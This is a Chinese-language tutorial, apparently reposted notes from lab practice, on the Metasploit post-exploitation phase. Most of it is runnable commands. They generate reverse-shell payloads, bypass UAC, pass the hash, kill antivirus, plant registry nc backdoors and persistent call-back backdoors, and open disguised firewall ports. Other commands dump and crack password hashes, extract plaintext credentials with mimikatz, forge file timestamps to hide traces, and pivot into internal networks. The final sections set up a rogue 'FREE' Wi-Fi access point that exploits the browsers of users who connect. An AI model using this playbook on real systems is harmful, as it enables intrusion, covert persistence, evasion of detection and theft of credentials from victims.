admin管理员组文章数量:1567918
目录
1.已经获得目标系统控制权后扩大战果
2.基于已有session扩大战果
3.获取system账号权限
4.绕过UAC限制
5.利用漏洞直接提权为system
6.图形化payload
7.Psexec模块之Passthehash(获得的是system权限)
8.获得system权限后的常用操作
9.域渗透
10.Windows注册表
(1)用注册表添加NC后门服务(meterpreter)
(2)打开防火墙端口(meterpreter)
11.信息收集(meterpreter扩大攻击)
12.痕迹清理(修改时间)
13.内网渗透(接近真实 )
(1)通过路由的方式
搭建
开始渗透
后渗透阶段
(2)基于端口的Pivoting之端口转发Portfwd
14.POST模块
15.持久后门
(1)Meterpreter后门
(2) 持久后门(目标系统重新启动后,自动反弹shell)
16.MSF延伸用法Mimikatz
17.meterpreter延伸用法
(1)PHP shell
(2)Web Delivery
(3)RFI远程文件包含
(4)伪造AP、嗅探密码、截获数据、浏览器攻击
(1) 下载资源文件(Karmetasploit)
(2)基础架构安装配置
(3)基础配置服务设置好,现在进行伪造AP
(4)允许用户正常上网,修改资源文件内容
1.已经获得目标系统控制权后扩大战果
提权
信息收集
渗透内网
永久后门
2.基于已有session扩大战果
- msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 - b "\x00" -e x86/shikata_ga_nai -f exe -o a.exe
###启动kali上的apache,将文件a.exe放在网站目录下,直接在win7上下载a.exe
- use /exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp 开启侦听
- exploit
- 只要目标系统执行a.exe,即可获得shell
启动kali上的apache,将文件a.exe放在网站目录下
3.获取system账号权限
使用getsystem时提示Operation failed:Access is denied.The following was attempted
操作失败:访问被拒绝。尝试了以下操作。看到访问被拒绝,基本上是UAC这个功能在扰乱
4.绕过UAC限制
#利用已有的session,再去执行另一个程序,另一个程序执行时,要求UAC访问控制的允许,允许就执行,不 #允许就不执行 use exploit/windows/local/ask set payload windows/meterpreter/reverse_tcp show options
use exploit/windows/local/bypassuac
set session
set payload
不需要骗取目标用户点击允许,以exe直接bypass UAC
use exploit/windows/local/bypassuac_injection
set session
set payload
不需要骗取目标用户点击允许,以dll直接bypass UAC
5.利用漏洞直接提权为system
本地漏洞利用提权,不用getsystem,直接就是system权限
6.图形化payload
payload一旦在win7上执行,VNC的图形化界面shell反弹到kali,4444这个端口,然后进行端口的转换,转换到本机侦听的5900这个端口,最终将win7图形化界面反弹给kali。
这个界面只能看,不能操作,要想操作,就set viewonly no(true改成了false)
不是每个exploit模块都能使用这个payload
现已经获得session和system权限的账号,就可以来获取这个系统上的信息
load priv
hashdump 获取用户账号和加密的hash值
7.Psexec模块之Passthehash(获得的是system权限)
利用smb文件共享,可以看文件服务器的文件,同时也可以利用smb协议,在目标上执行一些程序,通过例如psexec这种方式执行
smb 445端口
设置账户和密码的hash值
设置侦听的payload,再exlpoit,但是会报错,需要先关闭UAC
- use exploit/windows/smb/psexec - set smbuser 1stPeak - set smbpass 用户的hash值 - 使用该模块需要关闭UAC,并且重启,否则会报如下错误
利用已经获得system的session,关掉UAC
具体方法在上面的图片
调用reg.exe这个命令,添加一个注册表
cmd关闭了UAC,需要重启目标系统才能生效
- 立即重启系统 shutdown /r /t 0 #然后就可以使用......psexec这个模块了
8.获得system权限后的常用操作
(以上操作需要管理员或system权限)
netsh:windwos中强大的网络配置工具
net stop是用来结束服务的
manage-bde -off C: 关闭磁盘加密 manage-bde-status C: 查看bitlocker加密状态
关闭DEP,基于硬件防恶意软件被CPU执行的技术
killav是个脚本,会杀掉杀毒软件
利用远程桌面,稳定,不会引起怀疑,不会被杀毒软件杀掉
1.run post/windows/manage/enable_rdp #打开远程桌面 /root/.msf4/loot/20200219100050_default_192.168.100.156_host.windows.cle_840297.txt #关闭远程桌面 2.run getgui -e #使用getgui脚本打开远程桌面 run getgui -U yuanfh -p pass #向目标系统的远程桌面用户组里添加用户 redesktop x.x.x.x #远桌面程连接目标系统 screenshot #桌面截图 use espia #加载espia插件(在meterpreter中use和load意义一样) screengrab #截图
添加远程桌面用户
9.域渗透
Delegate Token: 交互登陆会话
(注销后登陆输入用户名密码/远程桌面,这是活动状态的Token)
Impersonate Token: 非交互登陆会话
(访问smb文件共享目录,也需要登录,这种访问不能进一步去做其他的交互)
注:只要身份认证通过,交互和非交互Token的权限是一样的。
域,安全边界,在安全边界内的资源都是互相信任的,在彼此访问时不需要再做身份验证,域内administrator权限无限大
在win2003上设置ip,设置DNS
安装域控,dcpromo
指定新域名(DNS全名):lab;插入安装包;等待安装,然后完成——>重启
需要将一台win xp加入域中,将win xp的IP修改一下,指定DNS为win2003的ip,不然解析不到域名
加入域,域的账户密码,加完域要重启,跟域控制器,获取新的token(新的权限)
在win2003,win+r,dsa.msc,为xp创建一个用户账号,设置密码
xp用账户密码登录域(是普通用户,甚至连修改时间的权利都没有)
无法获取任何种类的token,如果想获取这台机器上存在的token,必须获取到这个机器系统的system权限。
先用攻击机获得xp的meterpreter,获得system权限
load incognito
list_tokens 查看这台机器上有哪些默认的token,可以查看组的token,也可以查看用户的token
在token里没有域管理员administrator的token
在win2003上用域控制器访问xp这台电脑,总之,2003跟xp建立了文件共享smb,就已经建立了impersonation类的token
再运行list_tokens -u,就获得了域管理员的token
因为这个时候攻击者已经是xp上的system权限了,而且也有域管理员的token,就可以通过token伪装成域管理员
impersonate_token LAB\\administrator
(两个反斜线,前面那个是用来转义,后面那条有意义,就是LAB下的administrator)
getuid,已经是域管理员身份了
然后执行execute -f cmd.exe -i -t
(-f 指定命令,-i 交互进入cmd,-t 利用当前假冒的token运行程序)
执行完之后就会获得cmd的命令行,和使用shell一样
10.Windows注册表
注册表是系统配置的集中位置
利用:大多数病毒会被注入到操作系统的启动项里,找到病毒进程杀死后,之后重启这个病毒又会启动。
(1)用注册表添加NC后门服务(meterpreter)
已经取得了目标的meterpreter的shell
在此shell的基础上,用注册表添加NC后门服务,开机自动运行
这个过程至少有一方的IP是固定的,方便控制;目标不固定,用反弹shell的方式
-d:后台静默执行
-L:监听本地端口,断开依旧侦听端口,不关闭端口
-p:指定端口
reg setval -k......后,查看xp注册表,nc已存在
reg queryval -k......查询是否存在(目标系统需要重启,我们的444端口才开始侦听)
生效了,就可以去连接了
(如果目标系统开了防火墙,需要先关掉,但是太容易被发现,可以在防火墙增加一个策略,允许通过一个端口从远地连接)
(2)打开防火墙端口(meterpreter)
-H:静默模式,后台运行,不显示窗口
netsh firewall show opmode 查看这台机器防火墙的状态(开?关?)
netsh firewall add portopening TCP 4444 "test" ENABLE ALL 增加策略,允许连接4444端口,进程名test可以修改成其它更加有隐蔽性的名称
shutdown -r -f -t 0
-r restart;-f 强行关闭应用程序;-t 0立即重启
@kali~# nc 1.1.1.1 4444连接,获得shell(每次win xp重启的时候,nc的侦听都会启动)
可以使用专门的nc后门程序
11.信息收集(meterpreter扩大攻击)
load sniffer加载嗅探插件sniffer_interfaces扫描网卡sniffer_start 2使用指定网卡ID号进行抓包(不会再目标系统上显示,在内存中缓存区块循环存储抓包(50000包) ,不写硬盘,只会再内存中运行,默认只保存五万各数据包,循环更替数据包,50001替换1,500002替换2,以此类推)
sniffer_dump 2 1.cap dump这五万个数据包,2是网卡2,1.cap是数据包名,如果没有及时dump下来,前面的包会被替换
-该插件智能过滤meterpreter流量,它只抓目标机正常与外部访问的数据包,攻击机与目标之间传输全程使用SSL/TLS加密。.......psnuffle模块用来解码,但是看不到内容,还是适当使用wireshark
search -d C:\\....... 给空格加了转义符
Jonn.....这个只是来检查是否是典型的弱口令,没有很强大的字典
use post/windows/gather/hashdump 会把得到内容放到tmp里
更方便与use auxiliary/analyze/jtr_windows_fast一起使用(它会自动破解/tmp目录下的hash)
hashdump命令是导出目标机sam数据库中的Hash
12.痕迹清理(修改时间)
不要触碰文件系统,容易留下痕迹
MAC时间(Modified / Accessed / Changed缩写)
modified记录对文件的修改,
Accessed记录对文件的访问,
Changed记录对文件权限的修改。
Is -l --time=atime/ctime 1.txt (ls -l 1.txt 这个命令显示的时间就是mtime,不能直接用time=mtime)
stat 1.txt linux环境下一次列出三个时间
touch -d "2 days ago" 1.txt linux修改文件的modified和accessed时间,向前推两天,
使用cat,会改变accessed时间,modified和changed时间不变,使用vi,三者时间都变(时间一样),使用chmod,只变化changed时间
touch -t 1501010101 1.txt 修改年月日时分(只会修改modified和accessed)
MACE,文件大量信息里的任何一项变化,E时间就会变化
Timestomp也是应用于修改时间,并且能力相较于前者更强
ls 在meterpretre下使用ls会直接显示modified时间
timestomp -v 1.txt 显示文件的详细时间,多出Entry Modified的显示
timestomp -f c:\\autoexec.bat 1.txt
将文件时间修改成和指定文件一样,-f 指定模板(MAC和Entry时间都改变)在win xp里看不到entry时间
timestomp -b -r 擦除MACE时间信息,目前此参数功能失效
timestomp -m/-a/-c/-e/-z 修改modified时间/修改accessed时间/修改created时间/修改entry时间/四种都修改timestomp -z "MM/DD/YYYY HH24:MI:SS" 2.txt (随便修改)
timestomp -z "日/月/年 小时:分:秒" 2.txt
13.内网渗透(接近真实 )
(1)通过路由的方式
搭建
准备虚拟机Mono1,防火墙,需要两个网卡,网卡1连接到kali所在网络,网卡2桥接到物理网卡。
准备虚拟机Mono2,防火墙,需要两个网卡,网卡1连接到win7所在网络,网卡2桥接到物理网卡。
配置防火墙mono1规则
mono1在公网上IP对应的80端口映射给kali这台机器的80端口(如果启动了kali的apache的80端口侦听),有人来访问此公网IP时,实际上能看到kali网站的内容
配置防火墙mono2规则
从内网到任何端口到任何目标都是允许的
win7
关掉UAC
开始渗透
kali生成一个执行程序,cp a.exe /var/www/html
用win7访问kali上的网站192.168.21.91/a.exe下载a.exe,访问的是公网IP
在kali上设置侦听,LHOST设置的是kali自身的IP
在win7上执行a.exe,就会通过自己的防火墙,去访问外网,访问出来连接程序配好的192.168.21.91的4444端口,因为防火墙规则,就会将其转发到内网kali的4444端口,就拿到shell了
后渗透阶段
MSF的跳板功能是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往“内网”的路由,直接使用MSF去访问原本不能直接访问的内网资源,只要路由可达了就可以使用MSF来进行探测了。
已经建立的session(一个通信的通道),所以使用msf,在两者间增加一条路由。该命令只限在msf内部使用,但还是不能访问外网的被攻击目标内网网段。
凡是kali发送给目标网络的数据包都会发给已经作为跳板的win7,再由win7转发给其他电脑
run autoroute -s 2.1.1.0/24 //win7的IP,如果win7是双网卡,添加的路由就是另一个IP run autoroute -p #查看路由配置
所有去往2.1.1.0这个网段的创建的信息/数据包,都通过这个session1
端口扫描
在kali ,meterpreter使用端口扫描, (这个路由对db_nmap不起作用,只能使用msf里的模块,才会有效)
开放了445端口 ,尝试
use pxploit/windows/smb/ms08_067_netapi set RHOST 2.1.1.11 set payload windows/meterpreter/reverse_tcp set LHOST 2.1.1.10
设置LHOST,如果为Mono1公网IP,4444端口,这样设置是没有问题的,但是,如果xp没有公网访问权,exp和payload传到了xp,xp反弹shell是无法给到mono1公网的。所以设置为LHOST设置为win7的IP。
刚刚运行的指令,都是通过win7这台电脑,转发给xp,xp回连也通过win7,win7的所有工作实现都是通过a.exe,但a.exe会提示要打开一个新的网络连接,导致反弹shell失败。
(因为win7没关防火墙,所以才会做提示,只要在防火墙添加规则,就不会弹出窗口了)
xp是与win7建立了连接的,是因为win7防火墙,导致其没有将shell回传给kali
已经获得xp的shell
(2)基于端口的Pivoting之端口转发Portfwd
#删除路由,免得影响演示转口转发的效果 run autoroute -d -s 192.168.100.0/24
就是把本地的一个1端口,和远程的服务端口做个映射,一旦本地侦听的一个端口与远程的服务端口做一个绑定的话,在进行连接的时候,这个绑定相当于一个隧道,这个隧道建立起来后,连接的时候只需要连接本地这个侦听端口,会自动通过隧道,访问到目标IP地址。
#利用已经被控计算机,在kali与攻击目标之间实现端口转发 portfwd add -L 1.1.1.10 -l 455 -r 2.1.1.11 -p 3389 -L:本地侦听IP -l:本地侦听端口 -r:把本地端口映射给远程的端口 -p:指定要映射的远程端口 #表示访问目标端口3389 @kali~ rdesktop 127.0.0.1:445 #查看端口转发配置信息/删除指定端口转发/删除所有端口转发 portfwd list / delete / flush 总结:端口转发就是将本地的端口映射给远程目标的端口,俗话就是,我把我本机的445端口和目标的3389绑在一起,本机445就是目标3389
不指定-L,以本机0.0.0.0(所有本地IP指定端口)映射目标指定端口
use exploit/windows/smb/ms08_067_netapi set RHOST 127.0.0.1 set LHOST 2.1.1.10 use exploit/multi/handler set exitonsession false
14.POST模块
当取得了shell后,在此基础上使用的 POST 模块
exploit/mutli/handler模块设置侦听端口一直处于侦听状态
set exitonsession false #exploit后侦听端口已经被连接后,依旧不关闭该端口的侦听,可通过jobs查看
加了这条配置之后,意思是:当第一个客户端机器来连4444端口获得meterpreter shell后,4444端口还继续侦听,如果有第二个机器来连这个端口,也会获得第二个机器的meterpreter shell......4444端口是持续有效的
(如果没加这条配置,当第一个连上4444端口,获得shell后,就会关闭4444端口的侦听)
常用 POST 模块(meterpreter)
# 执行arp扫描,扫描与靶机同IP段 run post/windows/gather/arp_scanner RHOSTS=x.x.x.0/24 # 扫描目标靶机是否为虚拟机 run post/windows/gather/checkvm # 查看身份账号信息:用户hash值和token run post/windows/gather/credentials/credential_collector # 查看目标系统安装了哪些软件 run post/windows/gather/enum_applications # 目标系统当前有哪些用户处于登陆状态,用户配置文件位置 run post/windows/gather/enum_logged_on_users # 目标系统snmp的相关配置 run post/windows/gather/enum_snmp # 扫描目标系统存在哪些本地可以提权的漏洞,显示对应可以利用的模块 run post/multi/recon/local_exploit_suggester # 删除目标系统中指定的用户账号 run post/windows/manage/delete_user USERNAME="用户名" # 查看系统运行环境变量信息 run post/multi/gather/env # 查看firefox里保存的账号和密码 run post/multi/gather/firefox_creds # 查看本地ssh登陆后保存的账号和密码,身份认证,证书信息 run post/multi/gather/ssh_creds # 检查目标系统指定文件是否为恶意文件 run post/multi/gather/check_malware REMOTEFILE=c:\\xx.exe
自动执行meterpreter脚本
#编辑目标机器上的host文件,可以实行域名欺骗,流量劫持 set AutoRunScript hostsedit -e 1.1.1.1,www.baidu
缓存没有清除的话,这个目标解析操作就不会生效。一般解析会先去找缓存,缓存没有就找host,host没有就找DNS服务器。如果host有就去解析1.1.1.1这个IP地址。
在meterpreter下使用run, 下面有256个meterpreter脚本或者post模块,可供使用
# 搜集目标操作系统上运行的大量操作系统信息 run wineum
执行完保存到这个文件里
migrate -N explorer.exe 直接指定移动的进程
#自动将进程转移到explorer.exe下 use exploit/mutli/handler show advanced set AutoRunScript migrate -n explorer.exe exploit -j -z #当目标运行a.exe,获得shell的同时,会将a.exe隐藏到explorer.exe
exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
查看目标系统使用者最近正在编辑哪些文件(我最近的文档),前提:migrate到指定用户
set AutoRunScript post/windows/gather/dumplinks
通过 dumplink 模块来获得目标主机最佳进行的系统操作、访问文件和 Office 文档的操作记录。
AutoRunScript只运行执行一个这个模块,无法有两个模块按顺序执行,
解决方式是将AutoRunScript换成InitialAutoRunScript(这个执行后,可以继续执行AutoRunScript的模块)
# 先运行一个脚本 set InitialAutoRunScript migrate -n explorer.exe # 再运行第二个脚本,收集dumplinks信息 set AutoRunScript post/windows/gather/dumplinks #通过 dumplink 模块来获得目标主机最佳进行的系统操作、访问文件和 Office 文档的操作记录。
15.持久后门
(1)Meterpreter后门
在内存中完成,不向目标硬盘写入任何后门文件,一旦写入文件容易被杀毒软件查杀,在内存里隐蔽性相对高一点,比文件系统级别的后门程序相对安全一些。
拿到meterpreter的第一件事情就是将自己的shell变成持久化shell
(如果目标系统使用者发现了,结束进程,打补丁,重启,当前meterpreter shell会失效,等重启之后,meterpreter shell会再次反弹回来)
# 创建了名为metsvc的服务,自动开启"目标本地"xp 的侦听端口31337,不能用nc去连 run metsvc -A # 删除再目标系统上创建的服务 run metsvc -r # 在msf中使用模块连接目标系统侦听的端口31337 # 用msf客户端,连接metsvc的服务运行的那台xp use exploit/multi/handler set payload windows/metsvc_bind_tcp set lport 31337 set rhost 目标IP exploit # 目标x.x.x.x:31337这个端口,反弹shell给我们
-A 自动启动一个匹配的 exploit/multi/handler 去连接service
-r 就是删除已有的meterpreter
这种后门方法是只能用31337端口,不能更改所以,容易暴露,而且别人也能连接,不推荐
(2) 持久后门(目标系统重新启动后,自动反弹shell)
-i:延时启动,使meterpreter的shell更稳定
-p:指定端口
-r:指定回连本机的IP,就是攻击机IP
-X:目标重启计算机后自动启动后门
-U:当目标用户登录时自动启动后门
-S:目标系统重启时将后门当作服务自动启动(具有系统特权)
往目标系统植入一个vbs的后门,开机自动连接指定IP的端口
执行后,需要我们kali开启侦听(端口要和之前run persistence指定的一致)run persistence -X -i 10 -p 4444 -r 1.1.1.1 use /exploit/multi/handler set lport 4444 set lhost 1.1.1.1 exploit #只要目标系统重启,kali即可获得回连的shell
重新启动xp,在kali这边新建了一个session ID,自动做了迁移
16.MSF延伸用法Mimikatz
#使用mimikatz需要先获得system权限 getsystem #加载插件 load mimikatz wdigest、kerberos 、msv、ssp、tspkg 、livessp # wdigest明文显示用户账号和密码信息(包括内存中的)、kerberos和wdigest差不多、 # msv用户hash值、ssp用户明文信息、tspkg身份认证信息、livessp存活的用户明文信息
wdigest / kerberos,显示密码明文
mimikatz_ command -h (1)mimikatz_command -f a:: # 通过犯错查看有哪些模块可以利用,就是在-f后面加个不存在的模块和两个冒号 (2)mimikatz_command -f samdump::hashes / Bootkey # 查看hash值或Bootkey (3)mimikatz_command -f handle::list # 查看当前操作系统进程 (4)mimikatz_command -f service:list # 查看操作系统服务 (5)mimikatz_command -f crypot::listProviders # 查看系统支持哪些加密套件 (6)mimikatz_command -f winmine:infos # 查看你当前玩的扫雷哪些是地雷 # 注:每个命令都还有子命令,::后面都是子命令,查看子命令:mimikatz_command -f 存在的模块::
扫雷游戏
17.meterpreter延伸用法
(1)PHP shell
生成php文件,在web找文件上传点,然后找到路径访问php文件,反弹shell
msfvenom......可以输出多种格式的文件
设置php的payload侦听
(2)Web Delivery
在kali上启动webserver,上面放一个漏洞执行代码;一个存在代码执行漏洞的目标页面,让它远程访问kali上存在漏洞执行代码的url地址,目标一旦访问url地址,就会下载漏洞执行代码的内容到本地,然后执行,就会生成一个meterpreter的shell,弹回kali。
代码执行漏洞的代码,由use exploit/multi/script/web_delivery生成
将漏洞执行代码复制粘贴在代码执行的地方(以下图片是DVWA的命令执行)
(3)RFI远程文件包含
在攻击者kali放一个webshell,通过浏览器访问有漏洞的web服务器的存在漏洞的url地址,把它要包含的文件指向远程url地址(漏洞利用位置),让它远程包含kali的webshell,一旦webshell被包含到目标服务器,那就拿到了这台服务器的shell。(远程包含)
用kali访问目标包含的webshell,也可拿到shell(这里就是本地包含),可以拿到两种shell
- use exploit/unix/webapp/php_include - set RHOST x.x.x.x - set PATH /dvwa/vulnerabilities/fi/ 设置攻击的目标路径 - set PHPURI /?page=XXpathXX 自动使用path替换原来的?page=后面的内容 - set HEADERS "Cookie:security=low;PHPSESSID=eefcf023ba61219d4745ad7487fe81d7" - set payload php/meterpreter/reverse_tcp - set lhost 1.1.1.1 - exploit
(4)伪造AP、嗅探密码、截获数据、浏览器攻击
伪造AP
伪造一个AP,诱使别人来连这个AP,别人连了这个AP访问Internet上其他网站服务器的时候,因为流量经过这个AP,就可以在这个AP上嗅探抓包,因为有msf,可以在AP上启动一些漏洞利用模块,然后目标的流量经过AP,一旦发现目标浏览器有漏洞,通过流量分析可以判断浏览器版本是否有漏洞,尝试往流量里注入漏洞利用代码(插入到返回的流量中),一旦返回流量中 收到后有漏洞利用代码,恰好浏览器有对应漏洞,那么代码就会执行,创建新的meterpreter shell。
(ap一般指的是无线访问节点,一般充当连接有线网与无线网之间的一个桥梁,让两者能够相互访问、相互通信。)
(1) 下载资源文件(Karmetasploit)
里面包含多个对客户端漏洞利用的模块
- wget https://www.offensive-security/wp-content/uploads/2015/04/karma.rc .txt - 安装其他依赖包 gem install activerecord sqlite3-ruby
(2)基础架构安装配置
(在kali上安装dhcp服务,因为伪造了AP,需要给伪造AP连接的系统分发IP)
kali伪装成AP之后,有客户端连上这个AP的时候,需要用dhcp服务给客户端分发一个IP地址
(不建议在kali上安装dhcp服务)
- apt-get install isc-dhcp-server - cat /etc/dhcp/dhcpd.conf #配置文件 使用vim后配置如下: option domain-name-servers 10.0.0.1;(伪造AP用的IP地址,就是kali的网卡IP) default-lease-time 60;(AP租约期限,设置短一点,提高利用率) max-lease-time 72;(AP租约期限,设置短一点,提高利用率) ddns-update-style none;(这一行留着) authoritative;(授权DHCP服务器) log-facility local7;(记录日志) subnet 10.0.0.0 netmask 255.255.255.0 {(定义子网网段) range 10.0.0.100 10.0.0.254;(分发给客户端的IP地址的网段) option routers 10.0.0.1;(分发出去网段的网关地址) option domain-name-servers 10.0.0.1;(分发本网段的DNS服务器,有全局可以不用设) }
(3)基础配置服务设置好,现在进行伪造AP
- airmon-ng start wlan0 #先要启动侦听模式,将wlan0设置为侦听模式 - airbase-ng -P -C 30 -e "FREE" -v wlan0mon #启动侦听模式后,会生成 wlan0mon这样的侦听模式的网卡,利用它伪造airbase命令,伪造生成AP - ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 up at0,10.0.0.1作为客户端连接,DNS服务器地址,同时也是网关地址 - touch /var/lib/dhcp/dhcpd.leases 建议DHCP租约文件,用来保存分配IP的信息 - dhcpd -cf /etc/dhcp/dhcpd.conf at0 指定网卡启动DHCP服务 - 启动Karmetasploit资源文件模块,当有客户端连接我伪造的AP,发送流量经过我的伪造AP(就是Kali),我在kali上就可以截获信息与注入代码等攻击 msfconsole -q -r karma.rc_.txt - 流量流经伪造的AP后会被kaili自动侦听和漏洞利用,漏洞利用成功后,会获得session(注:目标连接伪造的wifi后,上不了网,流量只会流经到伪造AP,无法再进行转发到互联网,那如何解决?请看下面)
因为aiebase已经启动伪造AP的命令,生成一个at0 ,at0将作为AP连接的虚拟网卡(因为还没激活,所以只能在ifconfig -a里看到)
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 激活,可以用ifconfig看到at0了
在启动dhcp之前,还有租约文件要建立,用来保存分配IP的信息
然后启动DHCP,启动后,在物理主机,FREE这个AP已经存在了
可以被连上,但无Internet。只是连上AP,但AP另一端通不到互联网,没加防火墙规则,没开启路由,所以只是能被连上而已。
msfconsole -q -r karma.rc_.txt
启动Karmetasploit,启动后,当客户端把流量发给伪造的AP,kali这台机器,kali就可以截获信息,往里面注入攻击代码,完成各种各样的攻击
(4)允许用户正常上网,修改资源文件内容
- 允许用户正常上网,修改资源文件内容 (1)vi karma.rc_.txt (2)删除db_connect postgres... (3)删除开头setg的参数(整条内容),这样目标客户端才可以正常访问互联网 (4)删除set lport (5)增加browser_autopwn2等其他模块(有大量客户端软件漏洞利用相关模块) use auxiliary/server/browser_autopwn2 set SRVPORT 55560 run (6)增加检查恶意流量的模块(非攻击模块,可不添加) use auxiliary/vsploit/malware/dns_(有三个模块) 可以依次配置相关信息 依次run (7)保存后启动Karmetasploit msfconsole -q -r karma.rc_.txt (8)添加路由和防火墙规则 echo 1 > /proc/sys/net/ipv4/ip_forward(IP转发) 防火墙添加两条iptables规则: iptables P FORWARD ACCEPT iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 注:DNS欺骗,就是伪造IP,比如将https://www.baidu伪造IP为x.x.x.x,于是,只要目标访问https://www.baidu,就会访问我们伪造的x.x.x.x,不会访问真实的网站
这个模块show options里的TRAGETACTION,设置为BYPASS就会把请求转发给真实的DNS服务器;设置为FAKE就是伪造 (实现DNS地址伪造)
本文标签: 阶段测试Metasploit
版权声明:本文标题:Metasploit——后渗透测试阶段 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dianzi/1725870897a1046218.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论